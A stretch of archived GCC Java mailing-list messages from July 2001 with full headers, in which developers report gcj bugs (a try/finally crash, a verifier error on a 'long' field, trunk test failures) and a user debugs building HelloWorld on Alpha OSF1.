Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29371 invoked from network); 18 Jul 2001 16:11:52 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 18 Jul 2001 16:11:52 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id LAA08836 for ; Wed, 18 Jul 2001 11:07:02 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15189.46417.22915.864056@spanky.love.edu> Date: Wed, 18 Jul 2001 11:12:01 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: java@gcc.gnu.org Subject: try {} finally {} X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid I have seen enough instances of this behaviour so that I am fairly certain that the bug I am about to describe exists; however, I have not been able to produce a small case. This is probably the same bug that Martin Kahlert was trying to isolate. I hope that I can contribute a somewhat better characterization of the bug, if nothing else: When there is a try {} finally {} block, with no catch clause, sometimes exception.cc:get_ttype_entry will return null. This results in a segv in _Jv_IsAssignableFrom during a throw, which sometimes will recursively segv in the handler. I am using the 3.0.1 branch. From java-return-6534-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 16:56:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1378 invoked by alias); 18 Jul 2001 16:56:33 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1328 invoked from network); 18 Jul 2001 16:56:30 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 18 Jul 2001 16:56:30 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id LAA08925 for ; Wed, 18 Jul 2001 11:51:42 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: base64 Message-ID: <15189.49096.914700.449007@spanky.love.edu> Date: Wed, 18 Jul 2001 11:56:40 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: java@gcc.gnu.org Subject: branch bytecode verification X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid DQpTdGFydGluZyB0b2RheSwgSSdtIGdldHRpbmcgc3R1ZmYgbGlrZSB0aGlzIG9uIDMuMC4x IGJyYW5jaCwgZnJvbQ0KamF2YWMgY29tcGlsZWQgYnl0ZWNvZGU6DQoNCmNvbS9jcmlvbmlj cy91dGlsL0Zhc3RIYXNoTWFwS2V5bGVzcy5qYXZhOiBJbiBjbGFzcyBgY29tLmNyaW9uaWNz LnV0aWwuRmFzdEhhc2hNYXBLZXlsZXNzJzoNDQpjb20vY3Jpb25pY3MvdXRpbC9GYXN0SGFz aE1hcEtleWxlc3MuamF2YTogSW4gbWV0aG9kIGBjb20uY3Jpb25pY3MudXRpbC5GYXN0SGFz aE1hcEtleWxlc3MuPGNsaW5pdD4oKSc6DQ0KY29tL2NyaW9uaWNzL3V0aWwvRmFzdEhhc2hN YXBLZXlsZXNzLmphdmE6ODE6IHZlcmlmaWNhdGlvbiBlcnJvciBhdCBQQz0xNw0NCmNvbS9j cmlvbmljcy91dGlsL0Zhc3RIYXNoTWFwS2V5bGVzcy5qYXZhOjgxOiBpbnZhbGlkIGFyZ3Vt ZW50IHR5cGUNDQpjb20vY3Jpb25pY3MvdXRpbC9GYXN0SGFzaE1hcEtleWxlc3MuamF2YTo4 MTogZXhwZWN0ZWQgdHlwZSAnbG9uZycgYnV0IHN0YWNrIGNvbnRhaW5zICd2b2lkJw0= From java-return-6535-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 17:12:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 10006 invoked by alias); 18 Jul 2001 17:12:15 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9973 invoked from network); 18 Jul 2001 17:12:14 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 18 Jul 2001 17:12:14 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id KAA16801 for ; Wed, 18 Jul 2001 10:12:13 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id KAA28963; Wed, 18 Jul 2001 10:12:13 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15189.50029.376125.602138@fencer.cygnus.com> Date: Wed, 18 Jul 2001 10:12:13 -0700 (PDT) To: java@gcc.gnu.org Subject: Re: branch bytecode verification In-Reply-To: <15189.49096.914700.449007@spanky.love.edu> References: <15189.49096.914700.449007@spanky.love.edu> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Being a BALD HERO is almost as FESTIVE as a TATTOOED KNOCKWURST. Tony Kimball writes: > Starting today, I'm getting stuff like this on 3.0.1 branch, from > javac compiled bytecode: Verification errors happen (and some times rightfully so.) But we'll need either a test case or a description on how to reproduce it. ./A From java-return-6536-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 18:18:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11305 invoked by alias); 18 Jul 2001 18:18:10 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11280 invoked from network); 18 Jul 2001 18:18:08 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 18 Jul 2001 18:18:08 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id NAA09084; Wed, 18 Jul 2001 13:13:20 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15189.53995.382803.672657@spanky.love.edu> Date: Wed, 18 Jul 2001 13:18:19 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: apbianco@cygnus.com Cc: java@gcc.gnu.org Subject: Re: branch bytecode verification References: <15189.49096.914700.449007@spanky.love.edu> <15189.50029.376125.602138@fencer.cygnus.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Quoth Alexandre Petit-Bianco on Wednesday, 18 July: : : Verification errors happen (and some times rightfully so.) But we'll : need either a test case or a description on how to reproduce it. I submitted a bug. But the upshot is that public class WriterPreferenceReadWriteLock { protected long waitingReaders_ = 0; protected synchronized void cancelledWaitingReader() { --waitingReaders_; return; } } fails the verifier. Changing 'long' to 'int', it passes the verifier. From java-return-6537-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 18:32:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20878 invoked by alias); 18 Jul 2001 18:32:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20806 invoked from network); 18 Jul 2001 18:32:44 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 18 Jul 2001 18:32:44 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA26705; Wed, 18 Jul 2001 12:32:31 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA07478; Wed, 18 Jul 2001 12:57:16 -0600 To: Jeff Sturm Cc: Martin Kahlert , java-patches@gcc.gnu.org, apbianco@cygnus.com, java@gcc.gnu.org Subject: Re: Patch to avoid SegFault in natClass.cc References: X-Zippy: Yow! Maybe I should have asked for my Neutron Bomb in PAISLEY-- X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 18 Jul 2001 12:57:14 -0600 In-Reply-To: Jeff Sturm's message of "Mon, 16 Jul 2001 08:08:47 -0400 (EDT)" Message-ID: <877kx612wl.fsf@creche.redhat.com> Lines: 21 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Jeff> public class A { Jeff> static B b; Jeff> public static void main(String[] args) { Jeff> System.out.println(b instanceof B); Jeff> } Jeff> } Jeff> class B { Jeff> static { Jeff> System.out.println("Initialized"); Jeff> } Jeff> } Jeff, could you check this in on the trunk? If so, put it in testsuite/libgcj.lang and make sure to xfail it. This problem is now fixed on the branch, but for the trunk I only submitted a PR. Tom From java-return-6538-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 21:34:21 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20990 invoked by alias); 18 Jul 2001 21:34:20 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20839 invoked from network); 18 Jul 2001 21:34:15 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 18 Jul 2001 21:34:15 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6ILY5j05610; Wed, 18 Jul 2001 16:34:05 -0500 (EST) Date: Wed, 18 Jul 2001 16:34:05 -0500 (EST) From: Antonio Ake To: Andrew Haley cc: , , Subject: Update: Problem with Alpha OSF1 and mips-tfile In-Reply-To: <15189.42467.686609.676315@cuddles.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I tested gcc, g++ and they are working. I saw a very similar problem in this URL: http://gcc.gnu.org/ml/gcc-patches/1999-08/msg00322.html I think I am having similar problem, the strange thing is that I have the patch in my jvspec.c. jc1 HelloWorld.java -o /tmp/ccn819mN.s as -o /tmp/ccm5YibA.o /tmp/ccn819mN.s == == mips-tfile -v -o /tmp/ccm5YibA.o /tmp/ccn819mN.s jvgenmain hello /tmp/ccJu4WZpmain.i cc1 /tmp/ccJu4WZpmain.i -o /tmp/ccmiyVshmain.s as -o /tmp/ccPYsM2bmain.o /tmp/ccmiyVshmain.s != mips-tfile -v -o /tmp/ccm5YibA.o /tmp/ccn819mN.s gcj --verbose --main=HelloWorld -o HelloWorld HelloWorld.java Reading specs from /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/specs Reading specs from /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/../../../libgcj.spec rename spec lib to liborig rename spec startfile to startfileorig Configured with: ../gcc-20010702/configure --prefix=/usr/users/ake/gcc18/ --without-x --disable-jni --disable-net --enable-libgcj Thread model: single gcc version 3.0.1 20010702 (prerelease) /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/jc1 HelloWorld.java -fuse-divide-subroutine -fuse-boehm-gc -fnon-call-exceptions -quiet -dumpbase HelloWorld.java -g1 -version -o /tmp/ccn8l9mN.s GNU Java version 3.0.1 20010702 (prerelease) (alphaev56-dec-osf5.0) compiled by GNU C version 3.0.1 20010702 (prerelease). as -g -oldas -c -nocpp -O0 -o /tmp/ccm5YibA.o /tmp/ccn8l9mN.s /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/mips-tfile -v -o /tmp/ccm5YibA.o /tmp/ccn8l9mN.s mips-tfile version 3.0.1 20010702 (prerelease) /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/jvgenmain HelloWorld /tmp/ccJu4WZpmain.i /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/cc1 /tmp/ccJu4WZpmain.i -quiet -dumpbase HelloWorld.c -g1 -version -fdollars-in-identifiers -o /tmp/ccmiyVshmain.s GNU CPP version 3.0.1 20010702 (prerelease) (cpplib) GNU C version 3.0.1 20010702 (prerelease) (alphaev56-dec-osf5.0) compiled by GNU C version 3.0.1 20010702 (prerelease). as -g -oldas -c -nocpp -O0 -o /tmp/ccPYsM2bmain.o /tmp/ccmiyVshmain.s /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/mips-tfile -v -o /tmp/ccm5YibA.o /tmp/ccn8l9mN.s mips-tfile version 3.0.1 20010702 (prerelease) mips-tfile:internal error, is already in original symbol table mips-tfile:internal error, is already in original symbol table mips-tfile, /tmp/ccn8l9mN.s:71 Invalid .stabs/.stabn directive, value not found line: #.stabn 68,0,2,$LM1 mips-tfile, /tmp/ccn8l9mN.s:93 Invalid .stabs/.stabn directive, value not found line: #.stabn 68,0,3,$LM2 mips-tfile, /tmp/ccn8l9mN.s:113 Invalid .stabs/.stabn directive, value not found line: #.stabn 68,0,4,$LM3 On Wed, 18 Jul 2001, Andrew Haley wrote: > Antonio Ake writes: > > > > Any ideas? > > Looks like an incompatibility with the native assembler. Did you use > GNU as for this? Do C++ programs work OK? > > Andrew. > > From java-return-6539-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 05:20:35 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32656 invoked by alias); 19 Jul 2001 05:20:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32619 invoked from network); 19 Jul 2001 05:20:32 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 19 Jul 2001 05:20:32 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6J5KTU10222 for ; Thu, 19 Jul 2001 00:20:29 -0500 (EST) Date: Thu, 19 Jul 2001 00:20:29 -0500 (EST) From: Antonio Ake To: Subject: GNU linker and assembler on Alpha OSF1. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have tried to install binutils on ALPHA OSF1, but the GNU assembler and linker are not installed. Other programs are installed like: ar,nm,ranlib,strip,addr2line,c++flit,gprof,objcopy,objdump,readelf,size,strings,strip Do you know the reason? Antonio From java-return-6540-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 15:28:07 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8374 invoked by alias); 19 Jul 2001 15:28:06 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8340 invoked from network); 19 Jul 2001 15:28:01 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 19 Jul 2001 15:28:01 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6JFRvJ16551 for ; Thu, 19 Jul 2001 10:27:57 -0500 (EST) Date: Thu, 19 Jul 2001 10:27:57 -0500 (EST) From: Antonio Ake To: Subject: Next Problem: ALPHA OSF1 and HelloWorld Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Due to my problem with mips-tfile, I tried to compile by hand my HelloWorld.java(Could some check it?(bottom part of email). I have hello executable (finally I have helloworld executable) BUT It is not working. I have a core dump. This is the backtrace of hello. I know that my problems could be related because I am not using GNU ld and GNU as, but they are not supported in my OSF1 V5.0 910. Program received signal SIGABRT, Aborted. 0x3ff800e0f18 in kill () (gdb) bt #0 0x3ff800e0f18 in kill () #1 0x3ff801c017c in tis_lock_global () #2 0x3ff801182e8 in __tis_raise () #3 0x3ff8016b214 in raise () #4 0x3ff80189114 in abort () #5 0x120005e68 in uw_init_context_1 (context=0x1400fdd40, outer_cfa=0x1400fdd30, outer_ra=0x140107aa0) at ../../gcc-20010702/gcc/unwind-dw2.c:981 #6 0x1200061cc in _Unwind_RaiseException (exc=0x140069fa0) at ../../gcc-20010702/gcc/unwind-dw2.c:981 #7 0x3ffbfeac27c in _Jv_Throw (value=0x140079e60) at ../../../gcc-20010702/libjava/exception.cc:104 #8 0x3ffbfebda20 in _ZN4java2io14FileDescriptor5writeEi (this=0x140069fa0, b=1074807432) at ../../../gcc-20010702/libjava/gcj/cni.h:114 warning: Hit heuristic-fence-post without finding warning: enclosing function for address 0x140069fa0 This warning occurs if you are debugging a function without any symbols (for example, in a stripped executable). In that case, you may wish to increase the size of the search with the `set heuristic-fence-post' command. /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/jc1 HelloWorld.java -fuse-divide-subroutine -fuse-boehm-gc -fnon-call-exceptions -quiet -dumpbase HelloWorld.java -g1 -version -o temp1.s as -g -oldas -c -nocpp -O0 -o temp2.o temp1.s /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/mips-tfile -v-o temp2.o temp1.s /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/jvgenmain HelloWorld temp3.i /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/cc1 temp3.i - quiet -dumpbase HelloWorld.c -g1 -version -fdollars-in-identifiers -o temp4.s as -g -oldas -c -nocpp -O0 -o temp5.o temp4.s /usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/mips-tfile -v -o temp5.o temp4.s /usr/users/ake/gcc18/lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/collect2 -G 8 -O1 -call_shared -o hello /usr/lib/cmplrs/cc/crt0.o -L/usr/users/ake/gcc18/bin/../lib/ gcc-lib/alphaev56-dec-osf5.0/3.0.1 -L/usr/users/ake/gcc18/bin/../lib/gcc-lib -L/ usr/users/ake/gcc18//lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1 -L/usr/lib/cmplrs/cc -L/usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/../../.. -L/usr/users/ake/gcc18//lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/../../.. temp2.o temp5.o -lgcc -lc -lgcc -lgcj -lm -lgcjgc -lzgcj -lc -liconv From java-return-6541-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 15:33:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 9848 invoked by alias); 19 Jul 2001 15:33:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9813 invoked from network); 19 Jul 2001 15:33:46 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 19 Jul 2001 15:33:46 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id IAA07219; Thu, 19 Jul 2001 08:33:44 -0700 (PDT) Message-ID: <00dc01c11068$88d22080$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Java@Gcc. Gnu. Org" , "Per Bothner" Subject: uncaught exceptions Date: Thu, 19 Jul 2001 08:36:08 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Antonio's note reminded me of something I noticed recently. Did we lose our mechanism for catching and printing uncaught exceptions with Per's recent startup changes? I've noticed programs simply aborting instead of printing nice stack traces. AG From java-return-6542-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 15:38:20 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11656 invoked by alias); 19 Jul 2001 15:38:20 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11535 invoked from network); 19 Jul 2001 15:37:06 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 19 Jul 2001 15:37:06 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id D52EEABB05; Thu, 19 Jul 2001 16:36:46 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6JFakS24800; Thu, 19 Jul 2001 16:36:46 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15190.65166.820942.91966@cuddles.cambridge.redhat.com> Date: Thu, 19 Jul 2001 16:36:46 +0100 (BST) To: tromey@cygnus.com Cc: , Antonio Ake Subject: Next Problem: ALPHA OSF1 and HelloWorld In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 Antonio Ake writes: > Due to my problem with mips-tfile, I tried to compile by hand my > HelloWorld.java(Could some check it?(bottom part of email). I have hello > executable (finally I > have helloworld executable) BUT It is not working. I have a core dump. > This is the backtrace of hello. > I know that my problems could be related because I am not using GNU ld and > GNU as, but they are not supported in my OSF1 V5.0 910. That may be the problem. Also, it may be related to a problem that we already know about to do with static constructors. It's a shame that we can't see more of the backtrace. That would tell us if the fault is occurring in a static constructor or not. Andrew. From java-return-6543-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 18:58:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20910 invoked by alias); 19 Jul 2001 18:58:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20871 invoked from network); 19 Jul 2001 18:58:14 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 19 Jul 2001 18:58:14 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA06206; Thu, 19 Jul 2001 11:58:13 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id LAA13870; Thu, 19 Jul 2001 11:58:13 -0700 Date: Thu, 19 Jul 2001 11:58:13 -0700 Message-Id: <200107191858.LAA13870@fencer.cygnus.com> From: Alexandre Petit-Bianco To: gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: New trunk failures. X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ Reply-to: apbianco@cygnus.com X-Zippy: I selected E5... but I didn't hear ``Sam the Sham and the Pharaohs''! My nightly test run on the trunk is picking new failures compiling test cases from source. I was able to reproduce the problem with a recently updated source tree. libjava/testsuite/libjava.compile/G19990217_01.java libjava/testsuite/libjava.compile/G19990210_01.java libjava/testsuite/libjava.lang/Shazam.java libjava/testsuite/libjava.lang/pr83.java It's dying in gcc/flow.c:reachable_handlers (trying to access `type' in `region' which is NULL.) The new failures appeared on 2001/07/18, in a build that completed around 5am PST. ./A From java-return-6544-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 19:28:01 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29553 invoked by alias); 19 Jul 2001 19:28:01 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29332 invoked from network); 19 Jul 2001 19:27:15 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 19 Jul 2001 19:27:15 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6JJQot13056; Thu, 19 Jul 2001 14:26:50 -0500 (EST) Date: Thu, 19 Jul 2001 14:26:50 -0500 (EST) From: Antonio Ake To: Andrew Haley cc: , Subject: Re: Next Problem: ALPHA OSF1 and HelloWorld In-Reply-To: <15190.65166.820942.91966@cuddles.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Could you tell me what function I need to check to see if the problem are the static constructors? On Thu, 19 Jul 2001, Andrew Haley wrote: > Antonio Ake writes: > > Due to my problem with mips-tfile, I tried to compile by hand my > > HelloWorld.java(Could some check it?(bottom part of email). I have hello > > executable (finally I > > have helloworld executable) BUT It is not working. I have a core dump. > > This is the backtrace of hello. > > I know that my problems could be related because I am not using GNU ld and > > GNU as, but they are not supported in my OSF1 V5.0 910. > > That may be the problem. > > Also, it may be related to a problem that we already know about to do > with static constructors. > > It's a shame that we can't see more of the backtrace. That would tell > us if the fault is occurring in a static constructor or not. > > Andrew. > From java-return-6545-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 21:14:13 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16018 invoked by alias); 19 Jul 2001 21:14:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15933 invoked from network); 19 Jul 2001 21:14:06 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 19 Jul 2001 21:14:06 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6JLDsi28876 for ; Thu, 19 Jul 2001 16:13:54 -0500 (EST) Date: Thu, 19 Jul 2001 16:13:54 -0500 (EST) From: Antonio Ake To: Subject: collect2 command Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am not sure about my collect2 command, because when I tried to add -non_shared. I recieved these errors: /bin/ld: Error: Undefined: _Unwind_Resume _Unwind_RaiseException _Unwind_GetDataRelBase _Unwind_GetRegionStart _Unwind_GetTextRelBase _Unwind_SetGR _Unwind_SetIP _Unwind_GetLanguageSpecificData _Unwind_GetIP isspace collect2: ld returned 1 exit status Are these messages normal with non_shared? What libraries do I need to add? command: /usr/users/ake/gcc18/lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/collect2 -G 8 -O1 -non_shared -o hello /usr/lib/cmplrs/cc/crt0.o -L/usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1 -L/usr/users/ake/gcc18/bin/../lib/gcc-lib -L/usr/users/ake/gcc18//lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1 -L/usr/lib/cmplrs/cc -L/usr/users/ake/gcc18/bin/../lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/../../.. 